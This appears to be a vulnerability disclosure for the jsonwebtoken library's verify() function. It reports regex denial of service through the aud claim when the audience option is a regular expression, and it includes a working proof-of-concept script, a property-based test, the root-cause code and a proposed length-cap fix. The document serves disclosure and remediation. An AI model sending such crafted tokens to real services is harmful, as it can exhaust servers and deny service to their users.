ReDoS in verify() when audience option is a RegExp: attacker-controlled aud claim → catastrophic backtracking

Description

jwt.verify(token, secret, { audience: regex }) passes the attacker-controlled aud claim of the JWT directly into RegExp.test(). If the application uses a regex with vulnerable patterns (nested quantifiers, ambiguous alternation), the verification call hangs for seconds-to-minutes per request — classic ReDoS via the audience claim.

Reproduction (jsonwebtoken 9.0.2)

const jwt = require('jsonwebtoken');
const SECRET = 'test-secret';

// Application uses RegExp for audience matching (documented feature)
const audRegex = /(a+)+$/;

// Attacker crafts a token with a malicious `aud` claim and signs it
// (in real scenarios the attacker controls some path that signs user-supplied audiences)
const token = jwt.sign({ aud: 'a'.repeat(25) + '!' }, SECRET);

const t0 = Date.now();
try { jwt.verify(token, SECRET, { audience: audRegex }); } catch (_) {}
console.log('verify took', Date.now() - t0, 'ms');
// Output: ~3000ms with 25 a's; ~12s with 27; ~93s with 30.

Property that fails

import fc from "fast-check";
import jwt from "jsonwebtoken";

const SECRET = 's';
const audRegex = /(a+)+$/;

fc.assert(fc.property(
    fc.integer({min: 5, max: 30}),
    (n) => {
        const tok = jwt.sign({ aud: 'a'.repeat(n) + '!' }, SECRET);
        const t0 = Date.now();
        try { jwt.verify(tok, SECRET, { audience: audRegex }); } catch (_) {}
        return Date.now() - t0 < 500;   // < 500 ms for any small input
    }
));
// Shrinks to n=22 ~ 25

Threat model

Many real applications use RegExp for audience matching (multi-tenant subdomains: /^https:\/\/[^.]+\.example\.com$/, wildcard tenants, microservice families). Where the aud claim originates from anything other than a hard-coded list — for example, a federated token-exchange endpoint where one party signs a token containing the next service's name — an attacker who controls that audience string can supply a payload that exhausts a CPU core per call.

Concrete impact: a single ~80-byte JWT request blocks an event-loop thread for ≥10 seconds. A few requests/second saturate the server.

This is the same class as CVE-2024-21534 (jsonwebtoken older), CVE-2024-21501 (sanitize-html), CVE-2026-35041 (fast-jwt's identical issue with allowedAud).

Root cause

verify.js, audience-check loop (around lines 194-207):

const match = target.some((targetAudience) => {
  return audiences.some((audience) => {
    return audience instanceof RegExp
      ? audience.test(targetAudience)    // <- no length cap, no timeout
      : audience === targetAudience;
  });
});

The library:

1. Doesn't limit the length of aud before RegExp.test.
2. Doesn't surface the ReDoS risk in verify's docs for the RegExp-audience path.
3. Trusts the application to have audited its audience regex — but the attacker, not the application, supplies the input to that regex.

Suggested fix

In verify.js, before calling audience.test(targetAudience), enforce a configurable max-length on targetAudience (e.g. 256 chars by default). Throw JsonWebTokenError('audience claim exceeds length limit') on overflow.

Additionally, document the ReDoS hazard for the regex-audience path in README and verify.d.ts, and recommend re2 or static-regex-safety checking for application-supplied audience regexes.

Environment

• jsonwebtoken: 9.0.2 (latest on npm)
• Node: 20+